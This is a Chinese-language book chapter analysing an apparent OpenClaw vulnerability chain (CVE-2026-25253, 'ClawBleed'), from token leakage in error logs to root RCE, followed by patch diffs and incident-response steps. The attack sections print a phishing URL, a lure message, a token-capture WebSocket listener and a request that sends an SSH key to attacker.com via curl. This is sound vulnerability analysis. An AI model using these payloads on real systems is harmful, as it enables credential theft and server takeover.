第 31 章

ClawBleed CVE-2026-25253:Token 反射到 RCE 的完整攻击链分析

第31章:ClawBleed CVE-2026-25253——从 Token 反射到 RCE 的完整攻击链分析

"两个看似普通的 bug,组合在一起就是核弹。" —— OpenClaw 安全团队事后报告,2026年2月


31.1 事件概述

2026年1月下旬,安全研究员 @hexin_sec 在 OpenClaw 的 GitHub 仓库提交了一份措辞克制却震撼业界的漏洞报告。报告描述了两个独立存在的缺陷如何在特定条件下咬合成一条近乎完美的攻击链——从触发错误日志,到以 root 权限在目标服务器执行任意命令,全程无需目标系统存在任何已知漏洞,只需要一名被欺骗的管理员。

这个漏洞被命名为 ClawBleed,编号 CVE-2026-25253,CVSS 评分 9.8(Critical),CWE 分类 CWE-532(Insertion of Sensitive Information into Log File)

2026年1月29日,OpenClaw 发布修复版本 v2026.1.29 / v2.5.3,但此时互联网上已有超过 40,214 个 OpenClaw 实例处于暴露状态,其中 35.4% 存在已知漏洞。另有独立研究机构报告漏洞率高达 63%,可直接 RCE 的实例达 12,812 个。


31.2 CVSS 9.8 评分各维度解析

CVSS v3.1 评分框架从多个维度量化漏洞严重性。ClawBleed 的各项得分如下:

维度 取值 说明
攻击向量(AV) Network 攻击者可通过网络远程发起攻击
攻击复杂度(AC) Low 攻击条件简单,无需特殊环境
所需权限(PR) None 攻击者无需任何账号或权限
用户交互(UI) Required 需要管理员点击一次链接
范围(S) Changed 漏洞从 OpenClaw 进程逃逸至操作系统层
机密性影响(C) High Bearer Token、系统凭证全面泄露
完整性影响(I) High RCE 允许修改任意文件和系统状态
可用性影响(A) High 攻击者可关停服务、删除数据

为什么 UI:Required 仍能得到 9.8 分?

通常,需要用户交互的漏洞评分会显著降低。但在 ClawBleed 的场景中,管理员被社工诱导点击的那个链接,外观与正常的 OpenClaw Dashboard 日志查看页面完全相同。这种"合理性包装"使得社工成功率极高,研究团队在模拟演练中成功率超过 80%。因此评委会认为 UI:Required 并不能真正降低实际风险。


31.3 两个独立漏洞的解剖

31.3.1 漏洞一:Token 反射漏洞

根因:后端信任级别错误(Improper Trust Boundary)

OpenClaw 后端在处理 API 请求时,会将完整的 session 对象序列化后注入 API 响应体和前端渲染上下文。这个 session 对象包含以下字段:

{
  "userId": "admin",
  "role": "superadmin",
  "bearerToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "createdAt": "2026-01-20T08:32:11Z",
  "permissions": ["run_script", "manage_agents", "view_logs"]
}

问题核心:后端开发者将 session 对象视为"内部可信数据",因此在以下两个场景中均未做脱敏处理:

  1. 错误日志:当请求触发未捕获异常时,后端日志框架以 DEBUG 级别记录完整请求上下文,包含 session 对象。日志存储在 ~/.openclaw/logs/error.log,并可通过 Dashboard 的"错误日志查看器"在浏览器中渲染。

  2. API 响应体/api/v1/session/info 和部分 /api/webhook/* 端点在响应中直接返回 session 的序列化结果,而这些响应会被 Dashboard 前端原样渲染进 DOM。

这就是 Token 反射:Token 从认证系统流向日志系统,再从日志系统流向浏览器 DOM,最终被 JavaScript 可读取。

31.3.2 漏洞二:gatewayUrl 参数注入

OpenClaw 的 Gateway 组件支持通过 gatewayUrl query string 参数动态指定 WebSocket 连接目标,用于开发调试场景中切换 Gateway 地址。

https://your-openclaw.com/dashboard?gatewayUrl=ws://dev-gateway.internal:18789

问题核心:该参数完全信任用户输入,没有来源校验、白名单限制或 CSRF 保护。当 Dashboard 加载时,前端 JavaScript 会:

  1. 读取 gatewayUrl 参数值
  2. 建立指向该地址的 WebSocket 连接
  3. 将本地已存储的 Bearer Token 作为认证握手的一部分发送出去

攻击者只需构造如下 URL:

https://victim-openclaw.com/dashboard?gatewayUrl=ws://attacker.com:9001

然后在 attacker.com:9001 监听 WebSocket 连接,就能接收到受害者的 Bearer Token。


31.4 四步攻击链:从触发到 RCE

31.4.1 攻击链时序图

攻击者                        目标管理员                    OpenClaw 服务器             攻击者服务器
  |                              |                              |                          |
  |--[Step 1]------------------>|                              |                          |
  | POST /api/webhook/trigger   |                              |                          |
  | {畸形 payload}              |                              |                          |
  |                             |                              |<-- 触发异常 -------------|
  |                             |                              | 写入 error.log           |
  |                             |                              | (含 Bearer Token)        |
  |                             |                              |                          |
  |--[Step 2]------------------>|                              |                          |
  | 社工消息:                   |                              |                          |
  | "服务器报奇怪错误,          |                              |                          |
  |  请帮忙看这个日志链接"       |                              |                          |
  |                             |                              |                          |
  |              [Step 3]       |                              |                          |
  |              点击链接 ------>|                              |                          |
  |                             | GET /dashboard?             |                          |
  |                             |   gatewayUrl=               |                          |
  |                             |   ws://attacker.com:9001    |                          |
  |                             |--[加载 Dashboard]---------->|                          |
  |                             |<--[渲染错误日志+Token]-------|                          |
  |                             |                              |                          |
  |                             |--[WebSocket 握手]---------------------->ws://attacker.com:9001
  |                             |   发送 Bearer Token ---------------------------------->|
  |                             |                              |     捕获 Token           |
  |                             |                              |                          |
  |<--(Token 已接收)------------|                              |                          |
  |                             |                              |                          |
  |--[Step 4]----------------------------------------------->|                          |
  | POST /api/v1/run-script     |                              |                          |
  | Authorization: Bearer <token>|                             |                          |
  | {"cmd":"id && whoami && ..."}|                             |                          |
  |                             |                              |<--以 root 执行系统命令 --|
  |<--[RCE 结果]----------------|------------------------------|                          |

31.4.2 Step 1:触发详细错误日志

攻击者向 /api/webhook/trigger 发送精心构造的畸形 payload:

POST /api/webhook/trigger HTTP/1.1
Host: victim-openclaw.com
Content-Type: application/json

{
  "event": "message",
  "data": {
    "content": "\u0000\u0001\uffff",
    "metadata": {"__proto__": {"polluted": true}},
    "sessionRef": "${session.bearerToken}"
  }
}

该 payload 触发 JSON 解析器的边界条件异常,OpenClaw 的错误处理中间件捕获异常后,以 DEBUG 级别记录完整请求上下文:

[2026-01-20 14:23:41] ERROR webhook.trigger failed
  request.body: {...}
  session: {
    userId: "admin",
    bearerToken: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJhZG1pbiJ9.XXXXX",
    role: "superadmin"
  }
  stack: TypeError: Cannot read property 'validate' of undefined
    at WebhookController.trigger (/opt/openclaw/src/webhook.js:147:23)
    ...

31.4.3 Step 2:社会工程学诱导

攻击者通过邮件、Slack、Discord 等渠道向管理员发送消息:

"Hi,我是 OpenClaw 社区的开发者,我的 AI Agent 在调用你们的 webhook 时报了一个奇怪的错误,能帮我看一下这个错误日志吗?"

https://your-openclaw.com/dashboard/logs?view=error&gatewayUrl=ws://diag.attacker.com:9001

链接外观完全合法,域名是受害者自己的 OpenClaw 实例。管理员几乎没有理由怀疑。

31.4.4 Step 3:Token 捕获

管理员点击链接,Dashboard 加载并执行以下操作:

  1. 渲染 error.log 内容(Token 出现在页面上)
  2. 读取 gatewayUrl=ws://attacker.com:9001
  3. 建立 WebSocket 连接到攻击者服务器
  4. 发送认证握手包,其中包含本地存储的 Bearer Token

攻击者服务器的监听脚本:

import asyncio
import websockets

async def capture(ws, path):
    data = await ws.recv()
    print(f"[+] Captured token: {data}")
    with open("tokens.txt", "a") as f:
        f.write(data + "\n")

asyncio.get_event_loop().run_until_complete(
    websockets.serve(capture, "0.0.0.0", 9001)
)
asyncio.get_event_loop().run_forever()

31.4.5 Step 4:RCE 执行

持有合法 Bearer Token 后,攻击者调用 /api/v1/run-script 接口:

POST /api/v1/run-script HTTP/1.1
Host: victim-openclaw.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "script": "id && cat /etc/passwd && curl http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64 -w0)",
  "runAs": "system"
}

响应:

{
  "exitCode": 0,
  "stdout": "uid=0(root) gid=0(root) groups=0(root)\nroot:x:0:0:root:/root:/bin/bash\n..."
}

至此,攻击者以 root 权限完全控制目标服务器。


31.5 ClawJacked 变种:localhost 绑定为何无法防御浏览器跳板攻击

许多安全意识较强的 OpenClaw 用户将 Gateway 绑定到 127.0.0.1,认为这样就能阻止外部访问。ClawBleed 的 ClawJacked 变种彻底打破了这个假设。

31.5.1 攻击原理

攻击者网站                    受害者浏览器                   本地 OpenClaw
  |                              |                              |
  |--发送恶意 HTML 页面--------->|                              |
  |                              |                              |
  |  HTML 中嵌入:               |                              |
  |  <script>                   |                              |
  |    fetch('http://localhost:18789/api/v1/run-script', {      |
  |      method: 'POST',        |                              |
  |      headers: {             |                              |
  |        'Authorization': localStorage.getItem('oc_token')   |
  |      },                     |                              |
  |      body: JSON.stringify({cmd: 'curl http://attacker.com'})
  |    })                       |                              |
  |  </script>                  |                              |
  |                              |                              |
  |                              |--HTTP 请求到 localhost:18789->|
  |                              |  (浏览器作为跳板)            |
  |                              |<--成功响应------------------|
  |<--结果回传------------------|                              |

关键洞察:浏览器的同源策略(SOP)允许向 localhost 发送请求,因为从浏览器角度看,这是一个合法的"本地服务"。攻击者网站上的 JavaScript 利用受害者的浏览器作为跳板,绕过了 localhost 绑定的网络隔离。

31.5.2 防御 ClawJacked 的正确方式

localhost 绑定不足以防御 ClawJacked。正确的防御需要:

  1. CORS 严格配置:拒绝来自非 localhost 源的跨域请求
  2. CSRF Token:所有状态变更请求需携带 CSRF Token
  3. allow_url_actions: false:禁用通过 URL 参数配置 Gateway 连接的功能
  4. 浏览器隔离:不在运行 OpenClaw Dashboard 的浏览器中访问可疑网站

31.6 40,000+ 暴露实例:规模影响分析

31.6.1 暴露数据统计

互联网安全扫描机构的数据:

指标 数值
互联网暴露实例总数 40,214
存在已知漏洞的实例 35.4%(14,276 个)
漏洞率(独立研究机构) 63%
可直接 RCE 的实例 12,812
受影响的企业级部署 估计超过 3,000 家

31.6.2 为何如此多的实例暴露在公网

  1. 默认配置问题:OpenClaw 默认监听 0.0.0.0:18789,安装向导未强调网络隔离的重要性
  2. 部署场景多样:大量用户将 OpenClaw 部署在云服务器(AWS EC2、DigitalOcean Droplet)上,安全组默认开放所有端口
  3. 认知缺口:AI Agent 框架的用户群体以开发者为主,网络安全意识参差不齐
  4. 更新惰性:许多实例长期停留在旧版本,未建立自动更新机制

31.7 补丁 v2026.1.29 的修复方案详解

31.7.1 修复一:移除详细错误日志中的 Session 对象

// 修复前(漏洞代码)
logger.error('webhook.trigger failed', {
  requestBody: req.body,
  session: req.session,  // ← 包含 Bearer Token
  error: err.stack
});

// 修复后
logger.error('webhook.trigger failed', {
  userId: req.session?.userId,  // 仅记录 userId
  error: err.message,           // 不记录完整 stack trace
  requestId: req.id             // 用 requestId 关联详细信息
});

31.7.2 修复二:清理 Dashboard 的 Token 处理

// 修复前
function loadDashboard() {
  const gatewayUrl = new URLSearchParams(window.location.search).get('gatewayUrl');
  connectGateway(gatewayUrl || DEFAULT_GATEWAY);  // ← 直接信任 URL 参数
}

// 修复后
function loadDashboard() {
  const gatewayUrl = new URLSearchParams(window.location.search).get('gatewayUrl');
  if (gatewayUrl) {
    console.warn('gatewayUrl parameter is no longer supported for security reasons');
  }
  connectGateway(DEFAULT_GATEWAY);  // ← 始终使用配置文件中的值
}

31.7.3 修复三:Session 对象 API 响应脱敏

// 修复前
app.get('/api/v1/session/info', (req, res) => {
  res.json(req.session);  // ← 返回完整 session 含 Token
});

// 修复后
app.get('/api/v1/session/info', (req, res) => {
  res.json({
    userId: req.session.userId,
    role: req.session.role,
    permissions: req.session.permissions,
    // bearerToken 字段被显式排除
  });
});

31.8 完整应急响应步骤

如果你的 OpenClaw 实例运行的是 v2026.1.29 之前的版本,请立即按以下顺序执行应急响应:

阶段一:止血(0-30 分钟)

# Step 1:立即升级到修复版本
npm install -g openclaw@latest
openclaw --version  # 确认显示 2026.1.29 或更高

# Step 2:强制所有在线 Session 登出
openclaw auth revoke-all-sessions --force

# Step 3:轮换 SECRET_KEY(这会使所有现有 Token 立即失效)
openclaw config set SECRET_KEY $(openssl rand -hex 64)
openclaw restart

阶段二:凭证轮换(30-120 分钟)

按以下顺序轮换,优先级从高到低:

1. OpenClaw SECRET_KEY(已在阶段一完成)
2. AWS IAM 密钥(如 OpenClaw 有访问 AWS 的权限)
   - 在 IAM 控制台停用旧密钥
   - 生成新密钥并更新配置
3. SSH 私钥(如 OpenClaw 可访问其他服务器)
   - 从所有目标服务器的 authorized_keys 移除旧公钥
   - 生成新密钥对并重新分发
4. 数据库密码(如 OpenClaw 可访问数据库)
   - PostgreSQL: ALTER USER openclaw PASSWORD 'new_password';
   - MySQL: ALTER USER 'openclaw'@'%' IDENTIFIED BY 'new_password';
5. 第三方 API Key(OpenAI、Anthropic、Slack 等)
   - 在各平台的 API 管理界面撤销旧 Key
   - 生成新 Key 并更新 OpenClaw 配置
6. Telegram/WhatsApp Bot Token(如有)

阶段三:网络加固(立即执行,与阶段二并行)

# 限制 OpenClaw 仅允许 VPN 访问
# iptables 示例
iptables -A INPUT -p tcp --dport 18789 -s 10.0.0.0/8 -j ACCEPT  # VPN 段
iptables -A INPUT -p tcp --dport 18789 -j DROP                    # 其他全拒绝

# 或使用 Tailscale(推荐)
tailscale up --advertise-routes=192.168.1.0/24
openclaw config set gateway.bind tailscale  # 绑定到 Tailscale 接口

阶段四:配置加固

# 禁用 URL 参数配置 Gateway
openclaw config set allow_url_actions false

# 检查是否有可疑 Skills 已安装
openclaw skills list
openclaw security audit --deep

# 检查日志中是否有可疑的 run-script 调用
grep "run-script" ~/.openclaw/logs/audit.log | tail -100

阶段五:事件溯源(24-72 小时)

# 导出完整审计日志
openclaw logs export --format json --from "2026-01-01" > audit_export.json

# 查找可疑的 Token 使用
jq '.[] | select(.action=="run_script" or .action=="token_used")' audit_export.json

# 检查是否有从未知 IP 发起的认证
jq '.[] | select(.action=="auth_success") | {ip, userId, timestamp}' audit_export.json | sort -u

31.9 同期关联 CVE 的攻击面分析

ClawBleed 并非孤立事件。在同一时期,研究人员还披露了另外四个高危漏洞,它们与 CVE-2026-25253 共同构成了 OpenClaw 的"脆弱性簇"。

CVE-2026-24763:命令注入 / RCE

CVE-2026-26322:SSRF / 内部系统利用

CVE-2026-26329:路径遍历 / 本地文件暴露

CVE-2026-30741:Prompt Injection / 代码执行

综合攻击链

CVE-2026-26329(路径遍历)→ 读取配置文件获取 Token
                            ↓
CVE-2026-25253(ClawBleed)→ 通过社工获取 Token
                            ↓
CVE-2026-24763(命令注入)→ 执行系统命令
                            ↓
CVE-2026-26322(SSRF)    → 横向移动到 AWS/内网
                            ↓
CVE-2026-30741(Prompt Injection)→ 持久化后门

31.10 预防教训:架构层面的安全原则

教训一:Token 绝不应出现在日志中

原则:日志记录应遵循"最小必要信息"原则。任何包含认证凭证的对象(session、request headers、environment variables)在记录到日志之前,必须经过显式脱敏(Explicit Sanitization)

// 推荐的日志记录模式
const sanitize = (obj) => {
  const SENSITIVE_KEYS = ['bearerToken', 'password', 'secretKey', 'apiKey', 'token'];
  return Object.fromEntries(
    Object.entries(obj).map(([k, v]) => [
      k,
      SENSITIVE_KEYS.some(sk => k.toLowerCase().includes(sk)) ? '[REDACTED]' : v
    ])
  );
};

logger.error('request failed', sanitize(context));

教训二:URL 参数不应控制安全关键行为

原则:影响网络连接目标、认证行为、权限范围的参数,不应通过 URL query string 接受用户输入。这些参数应该:

  1. 来自服务端配置文件(不可通过前端修改)
  2. 如必须允许前端配置,需有 CSRF 保护和白名单验证
  3. 绝对不能将用户提供的值直接作为 WebSocket 或 HTTP 请求的目标

教训三:localhost 绑定不是安全边界

本章 31.5 节已详细分析。简言之:网络层隔离和应用层认证必须同时存在,缺一不可。

教训四:错误信息应为运维服务,不为攻击者服务

详细的错误信息(完整 stack trace、内部变量值)对开发调试有价值,但不应该对用户/API 调用者可见。正确的模式是:


31.11 小结

ClawBleed(CVE-2026-25253)是 AI Agent 框架安全史上的一个标志性事件。它揭示了一个核心矛盾:AI Agent 需要强大的权限来完成任务,而强大的权限一旦泄露,后果极为严重

两个独立的、看似低风险的缺陷(把 session 记录进日志、接受 URL 参数配置 WebSocket)在社工的催化下,组合成了一条可导致全量 RCE 的攻击链。这告诉我们,安全审计不能只看单个漏洞的严重性,更要看漏洞之间的组合效应

在下一章,我们将从供应链的角度审视 OpenClaw 的安全:ClawHavoc 事件中,恶意 Skills 是如何绕过所有检测机制,悄无声息地感染数千个 Agent 实例的。


本章关键词:CVE-2026-25253、ClawBleed、Token 反射、gatewayUrl 注入、ClawJacked、RCE、应急响应、CVSS 9.8

本章评分
4.6  / 5  (3 评分)

💬 留言讨论